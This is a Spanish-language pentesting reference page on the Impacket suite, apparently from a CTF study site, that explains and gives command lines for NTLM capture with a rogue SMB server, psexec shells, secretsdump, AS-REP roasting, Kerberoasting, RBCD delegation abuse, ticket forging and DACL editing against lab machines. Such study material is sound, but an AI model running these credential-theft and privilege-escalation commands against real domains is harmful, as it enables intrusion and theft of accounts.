> For the complete documentation index, see [llms.txt](https://securitylayer.gitbook.io/securitylayer/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://securitylayer.gitbook.io/securitylayer/pentesting-tools/tools/suite-impacket.md).
# Suite Impacket
*Impacket es una suite de herramientas para la manipulación de protocolos de red en entornos Windows.*\
*A continuación se muestran algunos de los scripts más utilizados:*
📌Impacket-SMBServer
***Ver máquina:*** [***Responder***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/responder.md) ***(HTB),*** [***Driver***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/driver.md) ***(HTB),*** [***Grandpa***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/grandpa.md) ***(HTB),*** [***Fluffy***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/fluffy.md) ***(HTB)***
*su función es levantar un **servidor SMB falso** en la máquina del atacante.*
***Funciones clave de `impacket-smbserver`:***\
*✔ Permite que una víctima acceda a archivos compartidos por el atacante.*\
*✔ Puede usarse en ataques **LFI/RFI** para capturar autenticaciones NTLM.*\
*✔ Soporta SMBv1 y SMBv2 para compatibilidad con versiones antiguas de Windows.*
***Ejemplo de uso:***\
*Levantar un servidor SMB en `/tmp/share/` con acceso anónimo:*
```
impacket-smbserver -smb2support share /tmp/share/
```
*Si la víctima ejecuta algo como:*
```
dir \\10.10.14.25\share
```
*Windows intentará autenticarse y el atacante puede capturar credenciales NTLM.*
📌impacket-Mssqlclient.py
***Ver máquina:***[ ***Archetype (HTB)***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/archetype.md)
#### **📌 *****Descripción del script\*\*\*\* ****`mssqlclient.py`**** \*\*\*\*de Impacket***
*El script `mssqlclient.py` de la suite **Impacket** permite conectarse a un servidor **Microsoft SQL Server** utilizando credenciales válidas y ejecutar comandos SQL de manera interactiva. También es útil para **pruebas de penetración**, ya que permite realizar consultas, ejecutar comandos en el sistema operativo (si el usuario tiene permisos `sysadmin`), y obtener información sensible de la base de datos.*
#### **🛠️ *****Características principales:***
1. ***Autenticación en SQL Server**:*
* *Soporta autenticación \*\*SQL Server (****`-windows-auth`**** \*\***para NTLM)** y autenticación integrada de Windows.*
2. ***Ejecución de consultas SQL**:*
* *Permite interactuar con la base de datos usando comandos SQL estándar.*
3. ***Ejecución de comandos en el sistema (****`xp_cmdshell`****)**:*
* *Si el usuario tiene permisos `sysadmin`, puede habilitar `xp_cmdshell` y ejecutar comandos en el sistema operativo subyacente.*
4. ***Dump de hashes**:*
* *Puede extraer hashes de contraseñas si el usuario tiene suficientes privilegios.*
5. ***Movilidad lateral**:*
* *Si obtiene credenciales válidas, permite moverse a otros sistemas en la red*.
#### **📌 *****Uso básico:***
```vim
┌──(root㉿kali)-[/home/kali]
└─# python3 mssqlclient.py usuario@IP -windows-auth
```
*Esto intentará autenticarse en SQL Server en la IP especificada usando NTLM (autenticación de Windows).*
📌impacket-Psexec.py
***Ver máquina*** [***Archetype (HTB)***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/archetype.md)***,*** [***Forest***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/forest.md) ***(HTB),*** [***Sauna*** ](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/sauna.md)***(HTB)***
*`psexec.py` se usa principalmente en **entornos de pentesting o administración remota** para:*
* *Ejecutar comandos remotamente en sistemas Windows.*
* *Obtener una shell (cmd) interactiva en la máquina remota.*
* *Transferir archivos, crear servicios temporales, y escalar privilegios (en algunos casos).*
* *Automatizar tareas administrativas en redes donde se tiene acceso a cuentas con privilegios.*
*Utiliza el protocolo **SMB** junto con el **servicio de administración de servicios de Windows (Service Control Manager)** para crear un servicio temporal que ejecuta los comandos deseados.*
*Sintaxis básica:*
```vim
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 psexec.py administrator@10.129.95.187
```
*Usando hashes NTLM:*
```vim
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 psexec.py administrator@10.129.95.187 -hashes :
```
*Si quieres aprender más sobre este complemento de Impacket te recomiendo el siguiente artículo:*
### [*De SMB a remote Shell: anatomía técnica de psexec.py para pentesters*](https://medium.com/@securitylayer/de-smb-a-remote-shell-anatom%C3%ADa-t%C3%A9cnica-de-psexec-py-para-pentesters-f5715b0679d2)
📌impacket-secretsdump
* *Sirve para **extraer secretos** (hashes de contraseñas, credenciales, secretos de Kerberos) **desde sistemas Windows**.*
* *Puede trabajar **localmente** (si tenés acceso a los archivos del sistema) o **remotamente** (si tenés credenciales válidas o exploits sobre el sistema).*
***¿Qué tipo de información puede extraer\*\*\*\* ****`secretsdump`****?***
* *Hashes de contraseñas: Hashes LM y NTLM de todas las cuentas locales (SAM).*
* *Secrets de LSA (Local Security Authority): Claves y secretos usados para el Single Sign-On, incluidas contraseñas en texto claro de servicios.*
* *Ticket de Kerberos (TGT): Tickets de acceso del usuario al sistema.*
* *Hashes de Administradores de Dominio: Si corres en un controlador de dominio, extrae las contraseñas de todos los usuarios del dominio (típicamente de `NTDS.dit`).*
* *Contraseñas de servicios: Si un servicio en Windows guarda su contraseña, también puede ser extraída.*
#### *¿Por qué es tan potente `secretsdump`?*
* ***No necesita ejecutar nada en el objetivo** (dump por red).*
* ***No deja rastros** importantes si solo haces lectura de SAM o NTDS.*
* *Puede **romper la seguridad de una red Windows completa** si extrae hashes de administradores.*
* *Permite realizar **Pass-the-Hash** o **Golden Ticket Attacks** después de obtener los secretos.*
***Ver maquinas:*** [***Bastion*** ](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/bastion.md)***(HTB),*** [***Cicada*** ](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/cicada.md)***(HTB),*** [***Forest*** ](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/forest.md)***(HTB),*** [***Sauna*** ](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/sauna.md)***(HTB),*** [***Raz0rBlack***](/securitylayer/maquinas-y-modulos-de-thm/machines/raz0rblack.md) ***(THM),*** [***VulnNet:Roasted***](/securitylayer/maquinas-y-modulos-de-thm/machines/vulnnet-roasted.md) ***(THM),*** [***Baby***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/baby.md) ***(HTB)***
📌impacket-Reg.py
*`reg.py` permite **interactuar remotamente con el registro de Windows** a través de la red, usando el protocolo SMB/RPC. Puedes hacer tareas como:*
* *Leer y escribir claves del registro.*
* *Exportar hives completos del registro remoto (`backup`).*
* *Enumerar subclaves y valores.*
***Ver máquinas:*** [***Cicada*** ](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/cicada.md)***(HTB),*** [***Raz0rBlack***](/securitylayer/maquinas-y-modulos-de-thm/machines/raz0rblack.md) ***(THM)***
*Uso típico:*
```
reg.py :@ backup -o
📌impacket-GetNPUsers
*Este script hace parte de la suite **Impacket**, creada por SecureAuth, y está diseñado específicamente para automatizar el ataque **ASREPRoasting**.*
*Funcionalidades clave:*
1. ***Envía peticiones AS-REQ sin autenticación previa** (pre-auth) para cada usuario en una lista de usuarios que le pases.*
2. ***Recibe respuestas AS-REP cifradas** solo si el usuario tiene "Do not require Kerberos preauthentication" activado.*
3. ***Extrae el hash cifrado** que puede ser crackeado offline.*
4. *Guarda los resultados en un archivo en formato compatible con herramientas de cracking (`john` o `hashcat`).*
#### ***Kerberos y la Preautenticación***
*Kerberos es un protocolo de autenticación que normalmente requiere **preautenticación**: el usuario debe enviar una marca de tiempo firmada con su contraseña antes de recibir un TGT (Ticket Granting Ticket).*
*Pero si un usuario **tiene desactivada la preautenticación**, el KDC (Key Distribution Center) le enviará directamente el TGT **sin verificar primero su identidad**.*
***Esto expone un hash cifrado con la contraseña del usuario** → que podemos crackear offline.*
*¿Cómo se explota con `GetNPUsers.py`?*
1. ***Envía una solicitud AS-REQ para obtener un TGT** sin preautenticación, usando solo el nombre de usuario.*
2. *Si el usuario tiene preauth desactivado, **el KDC responde con un AS-REP**, que contiene datos cifrados con la clave del usuario.*
3. *`GetNPUsers.py`* ***extrae el hash** de esa respuesta y lo **formatea para cracking**.*
4. *El hash se **guarda en un archivo** (`hashes.txt`), y se puede usar con Hashcat o John the Ripper.*
***Ver maquinas:*** [***Forest***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/forest.md) ***(HTB),*** [***Sauna***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/sauna.md) ***(HTB),*** [***Raz0rBlack***](/securitylayer/maquinas-y-modulos-de-thm/machines/raz0rblack.md) ***(THM),*** [***VulnNet:Roasted***](/securitylayer/maquinas-y-modulos-de-thm/machines/vulnnet-roasted.md) ***(THM)***
***Ver módulos:*** [***Attacking Kerberos***](/securitylayer/maquinas-y-modulos-de-thm/modulos/attacking-kerberos.md) ***(THM)*** [***Attacktive Directory***](/securitylayer/maquinas-y-modulos-de-thm/modulos/attacktive-directory.md) ***(THM)***
📌impacket-lookupsid
*El script `lookupsid.py` de la suite **Impacket** sirve para realizar **enumeración de usuarios y grupos en entornos Windows/Active Directory**, aprovechando el servicio **LSARPC** (Local Security Authority Remote Procedure Call).*
#### *¿Qué hace `lookupsid.py`?*
*`lookupsid` se conecta a una máquina Windows (como un Domain Controller) y **brute-forcea secuencialmente los RID** (Relative Identifiers) sobre un **SID base del dominio** para descubrir nombres de cuentas asociadas (usuarios, grupos, etc.).*
*Básicamente:*
1. ***Descubre el SID base** del dominio (por ejemplo: `S-1-5-21-123456789-111111111-222222222`).*
2. ***Concatena RIDs comunes o secuenciales** al SID base, como `500`, `501`, `1000`, `1100`, etc.*
3. *Usa el servicio **LSARPC** para pedir al sistema el nombre asociado a cada SID completo.*
4. *Imprime resultados como:*
#### 📌 *Sintaxis básica*
```
500: SUPPORT\Administrator (SidTypeUser)
512: SUPPORT\Domain Admins (SidTypeGroup)
1105: SUPPORT\support (SidTypeUser)
```
#### *¿Por qué es útil para pentesters?*
* *Permite **enumerar usuarios sin necesidad de credenciales válidas** (si la política de seguridad lo permite).*
* *Funciona incluso con **usuarios de bajo privilegio**, como `guest`.*
* *Revela posibles objetivos para ataques de fuerza bruta, Kerberos, AS-REP Roasting, etc.*
* *Ayuda a **identificar el dominio** y su estructura básica sin interacción invasiva.*
#### 📌 *Sintaxis básica*
```
impacket-lookupsid -no-pass 'DOMAIN/guest@IP' -target-ip IP
```
*También podés usarlo con contraseñas o hashes:*
```
impacket-lookupsid DOMAIN/user:password@IP
```
***Ver máquinas*** [***Support***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md) ***(HTB),*** [***Raz0rBlack***](/securitylayer/maquinas-y-modulos-de-thm/machines/raz0rblack.md) ***(THM),*** [***VulnNet:Roasted***](/securitylayer/maquinas-y-modulos-de-thm/machines/vulnnet-roasted.md) ***(THM),*** [***Heist***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/heist.md) ***(HTB),*** [***Fluffy***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/fluffy.md) ***(HTB)***
📌impacket-GetUserSPNs
*Es un script que permite enumerar **cuentas de servicio con SPN (Service Principal Names)** en un dominio de Active Directory y, si se indica el flag `-request`, permite **obtener un TGS (Ticket Granting Service)** para cada cuenta. Esto se utiliza principalmente en ataques como **Kerberoasting**, donde el objetivo es crackear la contraseña asociada a la cuenta de servicio.*
```
Parámetro | Descripción
dominio/usuario[:contraseña] | Credenciales para autenticarse en el dominio
-hashes LM:NT | Autenticación con hash NTLM en lugar de contraseña.
-dc-ip | Dirección IP del Domain Controller.
-request | Solicita los tickets TGS de los servicios encontrados.
-outputfile nombre.txt | Guarda los hashes en un archivo específico.
-outputformat hashcat/john | Formato de salida del hash (por defecto: John the Ripper).
```
*Ejemplos prácticos*
*1. **Enumerar cuentas con SPN (sin solicitar tickets)***
```
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78
```
*Lista las cuentas que tienen SPNs registrados en el dominio. No genera hashes aún.*
*2. **Ataque Kerberoasting (solicitar tickets y generar hashes)***
```
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78 -request
```
*Obtiene los TGS cifrados con el hash de las cuentas de servicio. Sirven para crackear la contraseña offline.*
*3. **Con hash NTLM en lugar de contraseña***
```
impacket-GetUserSPNs controller.local/user1 -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 10.10.52.78 -request
```
*Útil si ya obtuviste el hash NTLM del usuario, por ejemplo mediante `Responder`, `mimikatz` o `secretsdump`.*
*4. **Guardar los hashes para crackear con Hashcat***
```
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78 -request -outputfile kerberoastado.txt -outputformat hashcat
```
*Te genera un archivo con los hashes en formato listo para `hashcat -m 13100`.*
***Ver módulo*** [***Attacking Kerberos***](/securitylayer/maquinas-y-modulos-de-thm/modulos/attacking-kerberos.md) ***(THM)***
***Ver maquinas*** [***Active***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/active.md) ***(HTB)*** [***Raz0rBlack***](/securitylayer/maquinas-y-modulos-de-thm/machines/raz0rblack.md) ***(THM),*** [***VulnNet:Roasted***](/securitylayer/maquinas-y-modulos-de-thm/machines/vulnnet-roasted.md) ***(THM)***
📌impacket-smbpasswd / impacket-changepasswd
*La herramienta `impacket-smbpasswd` forma parte del conjunto de utilidades de **Impacket** y está diseñada para interactuar con servicios SMB de sistemas Windows, específicamente para **cambiar la contraseña de un usuario** dentro de un entorno Active Directory.*
*¿Qué hace exactamente `impacket-smbpasswd`?*
*Permite realizar un **cambio de contraseña remoto** para un usuario del dominio o local, a través del protocolo **SAMR** (Security Account Manager Remote Protocol), utilizando **SMB y RPC** para comunicarse con el controlador de dominio o un servidor Windows.*
*¿Cómo funciona técnicamente?*
1. ***Establece una conexión SMB** con el servidor objetivo.*
2. *Se autentica con un usuario y contraseña válidos.*
3. *Utiliza el servicio **SAMR** para solicitar un cambio de contraseña:*
* *Si el usuario tiene la contraseña expirada, no se requiere la contraseña anterior.*
* *Si no está expirada, puede cambiarse **solo si se tiene la contraseña actual**.*
4. *Cambia la contraseña a la nueva proporcionada por el atacante (te la pide en consola).*
*Requisitos para que funcione*
* *Credenciales válidas del usuario.*
* *El usuario debe tener permisos para cambiar su propia contraseña (lo normal) o la de otro.*
* *El objetivo debe tener habilitado el servicio SMB/RPC (puerto 445 abierto).*
* *La política de seguridad del dominio debe permitir este tipo de cambio remoto.*
*Ejemplo de uso*
```
impacket-smbpasswd raz0rblack.thm/sbradley:Password123@10.10.180.52
```
***Ver máquinas:*** [***Raz0rBlack***](/securitylayer/maquinas-y-modulos-de-thm/machines/raz0rblack.md) ***(THM),*** [***Baby***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/baby.md) ***(HTB)***
📌impacket-addcomputer
***Ver máquinas:*** [***Support***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md) ***(HTB)***
#### *¿Qué hace `impacket-addcomputer`?*
*`impacket-addcomputer` permite **agregar un nuevo objeto de computadora (machine account) al dominio**, aprovechando un usuario que tenga los permisos necesarios para hacerlo.*
*Esto es útil para:*
* *Crear un nuevo equipo (machine account) que después podés abusar para obtener tickets Kerberos (`RBCD`, `AS-REP Roasting`, etc.).*
* *Apuntar a **Resource-Based Constrained Delegation (RBCD)** con tu propio equipo controlado.*
* *Operaciones como **Silver Ticket**, `S4U2Self`, o `S4U2Proxy`.*
#### *📌 Requisitos*
* *Credenciales válidas de un usuario del dominio.*
* *El usuario debe tener permisos para crear nuevos objetos de máquina (por defecto, los usuarios pueden crear hasta 10).*
#### *📌* Ejemplo de uso básico
```bash
impacket-addcomputer support.htb/juan:Password123 -computer-name HACKER01$ -computer-pass Passw0rd123!
```
*Esto intenta:*
* *Autenticarse como el usuario `juan` en el dominio `support.htb`.*
* *Crear un nuevo equipo llamado `HACKER01$` con contraseña `Passw0rd123!`.*
#### *📌* *Parámetros básicos útiles*
| Parámetro | Descripción |
| ------------------------------ | ------------------------------------------------------------------- |
| `-computer-name $` | *Nombre del equipo que querés agregar (termina con `$`)* |
| `-computer-pass ` | *Contraseña del equipo (sin esto, se genera aleatoriamente)* |
| `-computer-desc ` | *Descripción opcional del nuevo objeto* |
| `-dc-ip ` | *IP del controlador de dominio, si no se puede resolver por nombre* |
| `-debug` | *Muestra salida detallada para debugging* |
#### *📌* *Escenario típico en CTF*
1. *Conseguís credenciales válidas de un usuario de dominio.*
2. *Usás `impacket-addcomputer` para agregar un equipo tuyo.*
3. *Luego, abusás de RBCD configurando ese equipo para que se delegue a otro, o extraés tickets.*
📌impacket-rbcd
***Ver máquinas:*** [***Support***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md) ***(HTB)***
#### *¿Qué hace `impacket-rbcd`?*
*`impacket-rbcd` permite **configurar un objeto de computadora (machine account) para que pueda recibir delegaciones (RBCD) desde otro equipo o usuario**.*\
*Es decir, modifica el atributo **`msDS-AllowedToActOnBehalfOfOtherIdentity`** en el objeto objetivo, otorgando **permisos de delegación** al equipo controlado por el atacante.*
*Este es un paso clave para realizar ataques como:*
* ***S4U2Proxy** usando tickets de delegación.*
* ***Abuso de privilegios** a través de delegación forzada.*
* ***Escalada de privilegios lateral o vertical**.*
#### *¿Cuándo se usa?*
*Normalmente después de que:*
1. *Añadiste una máquina al dominio usando `impacket-addcomputer`.*
2. *Querés que esa máquina pueda delegar en nombre de otros usuarios hacia una máquina objetivo (por ejemplo, un Domain Controller).*
#### *📌 Ejemplo básico de uso*
```bash
impacket-rbcd -delegate-from HACKER01$ -delegate-to WIN-DC01$
```
*Esto configura que el equipo `HACKER01$` (que vos controlás) pueda actuar en nombre de usuarios cuando se autentican contra `WIN-DC01$`.*
#### *📌 Parámetros básicos*
| Parámetro | Descripción |
| -------------------------- | ----------------------------------------------------------------------------- |
| `-delegate-from $` | *Objeto (equipo) que podrá hacer delegación (tu máquina agregada)* |
| `-delegate-to $` | *Objeto (equipo) que recibirá la delegación (objetivo)* |
| `-dc-ip ` | *IP del controlador de dominio (opcional pero útil si no hay resolución DNS)* |
| `-target-domain ` | *Nombre del dominio (opcional, si no se detecta automáticamente)* |
| `-debug` | *Muestra salida detallada para debug* |
#### *📌* *Requisitos para usarla*
* *Tenés que tener privilegios para **modificar atributos del objeto de dominio objetivo** (generalmente obtenidos al comprometer algún usuario con permisos de escritura sobre el objeto).*
* *Acceso de red al controlador de dominio (LDAP).*
#### *📌* *Escenario típico de uso*
1. *Usás `impacket-addcomputer` para crear `HACKER01$`.*
2. *Con privilegios sobre otro equipo, usás `impacket-rbcd` para delegar de `HACKER01$` a ese equipo.*
3. *Luego usás `getST.py` o `s4u2proxy.py` para obtener un **ticket de servicio (TGS)** y ejecutar código como un usuario privilegiado (ej. `Administrator`).*
📌impacket-getTGT
***Ver máquinas:*** [***Support***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md) ***(HTB)***
#### *¿Qué hace `impacket-getTGT`?*
*`getTGT.py` se conecta al **servicio Kerberos (puerto 88)** y solicita un **TGT** (Ticket Granting Ticket) usando las credenciales proporcionadas (usuario/contraseña o NTLM hash). Este TGT puede usarse más adelante para:*
* *Solicitar tickets de servicio (TGS) con `getST.py`.*
* *Acceder a recursos sin necesidad de volver a introducir credenciales.*
* *Exportarlo al formato `.ccache` para usarlo con herramientas como `psexec.py`, `smbclient.py`, `kerberoast`, etc.*
#### 📌 *Ejemplo básico*
```bash
getTGT.py support.htb/juan:Password123
```
*Esto:*
* *Se autentica contra el **KDC** del dominio `support.htb` como el usuario `juan`.*
* *Solicita un **TGT**.*
* *Guarda el ticket en un archivo `.ccache` para su uso posterior.*
#### 📌 *Parámetros comunes*
| Parámetro | Descripción |
| --------------------------- | ---------------------------------------------------------------------- |
| `domain/username:password` | *Usuario del dominio y su contraseña (puede usar también hashes NTLM)* |
| `-hashes :` | *Usar hashes LM/NT en lugar de contraseña* |
| `-dc-ip ` | *IP del Domain Controller si no hay resolución DNS* |
| `-no-pass` | *Evita que se solicite contraseña (si ya se usa `-hashes`)* |
| `-aesKey ` | *Usar clave AES en lugar de contraseña o hash* |
| `-save` | *Guarda el TGT como archivo `.ccache`* |
| `-outputfile ` | *Nombre específico del archivo de salida* |
| `-debug` | *Muestra salida detallada* |
#### 📌 *Ejemplo usando hash NTLM*
```bash
getTGT.py support.htb/juan -hashes :a4f49e129f8fba73f0873a7d99a1a3e8 -dc-ip 10.10.11.174 -save
```
*Este comando:*
* *Usa el hash NTLM del usuario `juan`.*
* *Se conecta al DC por IP.*
* *Guarda el TGT automáticamente en un archivo `.ccache`.*
#### *¿Dónde se guarda el ticket?*
📌 *Por defecto, se guarda como:*
```
support.htb.juan.ccache
```
*Y podés usarlo luego así:*
```bash
bashCopiarEditarexport KRB5CCNAME=support.htb.juan.ccache
psexec.py support.htb/juan@target-host
```
#### 📌 *¿Para qué se usa en CTF/pentest?*
* *Validar credenciales rápidamente sin necesidad de sesión WinRM.*
* *Extraer tickets para ataques Kerberos.*
* *Moverse lateralmente entre equipos usando TGTs válidos.*
📌impacket-getST
***Ver máquinas:*** [***Support***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md) ***(HTB)***
#### *¿Qué hace `getST.py`?*
*`getST.py` solicita al KDC (Key Distribution Center) un **ticket de servicio (TGS)** para acceder a un servicio determinado en un equipo del dominio, usando un **TGT válido** (normalmente obtenido con `getTGT.py` o como parte de un ataque como RBCD o S4U).*
*Este TGS se guarda en un archivo `.ccache` que luego puede usarse para autenticarse contra ese servicio con herramientas como `psexec.py`, `smbclient.py`, etc.*
#### 📌 *¿Para qué se usa?*
* *Obtener acceso autenticado a servicios como **cifs**, **host**, **HTTP**, etc.*
* *Encadenar con ataques de delegación (`RBCD`, `S4U2Self`, `S4U2Proxy`).*
* *Autenticarse sin usar credenciales directamente, solo con tickets.*
#### 📌 *Ejemplo básico*
```bash
getST.py -spn cifs/DC01.support.htb -impersonate Administrator support.htb/hacker01\$ -dc-ip 10.10.11.174 -key 1234abcd... -outputfile admin.ccache
```
*Este comando:*
* *Usa el TGT del equipo `hacker01$` para solicitar un TGS para el servicio **CIFS** en `DC01.support.htb`.*
* *Impersona al usuario **Administrator**.*
* *Guarda el ticket en `admin.ccach`*
📌 *Parámetros comunes*
| Parámetro | Descripción |
| --------------------------- | ----------------------------------------------------------------------- |
| `domain/user[:password]` | *Credenciales válidas (puede ser un hash o clave AES también)* |
| `-spn ` | *Service Principal Name (ej.: `cifs/dc01.support.htb`)* |
| `-impersonate ` | *Usuario a impersonar (típico en ataques RBCD/S4U2Proxy)* |
| `-key ` / `-hashes` | *Clave o hash NTLM si no se usa una contraseña* |
| `-outputfile ` | *Nombre del archivo donde se guarda el TGS* |
| `-dc-ip ` | *IP del controlador de dominio (si no hay DNS o resolución del nombre)* |
| `-request` | *Muestra el contenido del ticket solicitado* |
| `-debug` | *Salida detallada* |
#### 📌 *Ejemplo usando TGT y S4U2Proxy (delegación)*
*Supongamos que ya tenés el TGT de `hacker01$`:*
```bash
export KRB5CCNAME=hacker01.ccache
getST.py -spn cifs/dc01.support.htb -impersonate Administrator -outputfile admin.ccache support.htb/
```
*Ahora podés usar ese ticket:*
```bash
export KRB5CCNAME=admin.ccache
psexec.py support.htb/Administrator@dc01.support.htb
```
#### 📌 *Flujo típico de uso*
1. ***`getTGT.py`** → Obtener el TGT como máquina o usuario.*
2. ***`getST.py`** → Obtener el TGS para un SPN (ej., `cifs/dc01`).*
3. *Usás `psexec.py`, `wmiexec.py`, etc., con el `.ccache`.*
📌impacket-ticketConverter
***Ver máquinas:*** [***Support***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md) ***(HTB)***
*La herramienta `impacket-ticketConverter` (o `ticketConverter.py`) es una utilidad incluida en la suite **Impacket** que sirve para **convertir tickets Kerberos entre los formatos**\*\* ****`.kirbi`**** ****(usado por Mimikatz y herramientas Windows) y**** ****`.ccache`**** \*\*\*\*(usado por herramientas en Linux/Unix)\*\*.*
#### 📌 *¿Qué hace `ticketConverter.py`?*
*Permite convertir:*
* *De `.kirbi` a `.ccache` → para usar en herramientas como `psexec.py`, `smbclient.py`, `impacket-*` en Linux.*
* *De `.ccache` a `.kirbi` → para importar en Mimikatz o herramientas que lo usen en Windows.*
*Esto es útil cuando:*
* *Exfiltrás un ticket con **Mimikatz** (formato `.kirbi`) y querés usarlo en **Kali Linux**.*
* *Obtenés un `.ccache` (por ejemplo, con `getTGT.py`) y necesitás usarlo en **Windows con Rubeus o Mimikatz***
📌 *Formatos de ticket*
| Formato | Uso principal | Plataforma |
| --------- | ----------------------------------- | ------------ |
| `.kirbi` | *Mimikatz, Rubeus, Kekeo* | *Windows* |
| `.ccache` | *Impacket, Kerberos tools en Linux* | *Linux/Unix* |
📌 *Sintaxis general*
```bash
ticketConverter.py [input_ticket] [output_ticket]
```
📌 *Ejemplos prácticos*
***1. Convertir de\*\*\*\* ****`.kirbi`**** ****(Mimikatz) a**** ****`.ccache`**** \*\*\*\*(Linux)***
```bash
ticketConverter.py ticket.kirbi ticket.ccache
```
*Esto convierte el ticket a formato `ccache` para que puedas usarlo así:*
```bash
export KRB5CCNAME=ticket.ccache
psexec.py support.htb/Administrator@dc01.support.htb
```
***2. Convertir de\*\*\*\* ****`.ccache`**** ****a**** \*\*\*\*`.kirbi`***
```bash
ticketConverter.py ticket.ccache ticket.kirbi
```
*Luego podés importarlo en Mimikatz con:*
```powershell
kerberos::ptt ticket.kirbi
```
📌 *Parámetros básicos*
| Parámetro | Descripción |
| ----------------- | --------------------------------------------------- |
| `[input_ticket]` | Ruta al ticket original (`.kirbi` o `.ccache`) |
| `[output_ticket]` | Nombre del ticket convertido (`.ccache` o `.kirbi`) |
*No tiene muchos flags como otras herramientas de Impacket: es una utilidad puntual y directa.*
📌 *Casos de uso típicos*
* *Convertir tickets capturados en Windows (Mimikatz) para usarlos con Impacket en Kali.*
* *Reutilizar `.ccache` generados con `getTGT.py` o `getST.py` en un entorno Windows.*
* *Explotar ataques Kerberos híbridos entre Windows y Linux*
📌impacket-rpcdump
¿Para qué sirve? Su función es interrogar al RPC Endpoint Mapper (puerto 135 TCP).
Cuando un servicio RPC (como el de impresión o el de gestión de archivos) se inicia en Windows, se registra en el Endpoint Mapper para decirle en qué puerto dinámico está escuchando. `rpcdump` hace un volcado de esa lista.
¿Por qué es útil para un Red Team?
* Mapeo de Superficie: Te dice exactamente qué servicios están "vivos" detrás de los puertos altos.
* Identificación de Vulnerabilidades: Si ves la interfaz `MS-RPRN` (Print System Remote Protocol), sabes que el servidor podría ser vulnerable a PrintNightmare. Si ves `MS-EFSR`, podrías intentar un ataque de PetitPotam.
Comandos Principales:
{% code expandable="true" %}
```vimscript
# Enumeración básica (Sesión nula)
impacket-rpcdump 10.10.11.51
# Enumeración con credenciales (Si la sesión nula está bloqueada)
impacket-rpcdump 'sequel.htb/p.agila:prometheusx-303@10.10.11.51'
# Filtrar por un protocolo específico (ej. para buscar vectores de relay)
impacket-rpcdump 10.10.11.51 | grep -i "MS-RPRN"
```
{% endcode %}
📌impacket-samrdump
¿Para qué sirve? Se comunica específicamente con la interfaz SAMR (Security Account Manager Remote). Su objetivo es extraer información de la base de datos de seguridad (usuarios, grupos y políticas) del objetivo.
¿Por qué es útil para un Red Team? `samrdump` extrae datos de cuentas. Es ideal para:
* Enumeración de Usuarios: Obtener una lista limpia de nombres de usuario para ataques posteriores de *Password Spraying*.
* Extracción de SIDs: Obtener el Identificador de Seguridad de cada usuario (crucial para ataques de Silver Ticket o SID History).
* Políticas de Seguridad: Ver cuántos intentos fallidos bloquean una cuenta, evitando que te expulsen de la red durante un ataque de fuerza bruta.
Comandos Principales:
{% code expandable="true" %}
```vimscript
# Volcado completo de la SAM (Requiere credenciales o sesión nula habilitada)
impacket-samrdump 'sequel.htb/p.agila:prometheusx-303@10.10.11.51'
# Uso de sesión nula (Muy común en CTFs)
impacket-samrdump 10.10.11.51
```
{% endcode %}
📌impacket-owneredit
***Ver máquinas:*** [***EscapeTwo***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/escapetwo.md) ***(HTB)***
¿Para qué sirve? Su único propósito es modificar el propietario (Owner) de un objeto en Active Directory.
En Windows, el propietario de un objeto tiene un privilegio implícito: siempre tiene permiso para modificar el DACL (la lista de quién tiene qué permisos) de ese objeto, incluso si el DACL actual le prohíbe el acceso.
El vector de ataque (The Logic): Si tienes el permiso `WriteOwner` sobre un objeto de alto valor (como un Administrador del Dominio o una GPO), el camino es:
1. Usas `owneredit` para convertirte en el dueño.
2. Como ahora eres el dueño, tienes derecho a cambiar los permisos (`WriteDacl`).
3. Usas `dacledit` para darte control total (`GenericAll`).
Comandos Principales:
{% code expandable="true" %}
```
# Leer quién es el dueño actual de un objeto
impacket-owneredit -action read -target-dn "CN=AdminUser,CN=Users,DC=sequel,DC=htb" 'dominio/usuario:password'
# Cambiar el dueño del objeto a tu usuario actual (o a un SID específico)
impacket-owneredit -action write -new-owner "p.agila" -target-dn "CN=AdminUser,CN=Users,DC=sequel,DC=htb" 'dominio/usuario:password'
```
{% endcode %}
📌impacket-dacledit
***Ver máquinas:*** [***EscapeTwo***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/escapetwo.md) ***(HTB)***
¿Para qué sirve? Sirve para añadir, eliminar o modificar ACEs (Access Control Entries) dentro del DACL de un objeto. Es la versión para Linux del famoso comando `Add-DomainObjectAcl` de PowerView.
¿Por qué es vital? Es la herramienta definitiva para la Escalada de Privilegios vía ACL. Si tienes `WriteDacl` o `GenericAll` sobre un objeto, puedes usar esta herramienta para:
* Darte permisos de `Replication-Get-Changes-All` (para hacer un DCSync).
* Darte permisos de `GenericAll` sobre un usuario para cambiar su contraseña.
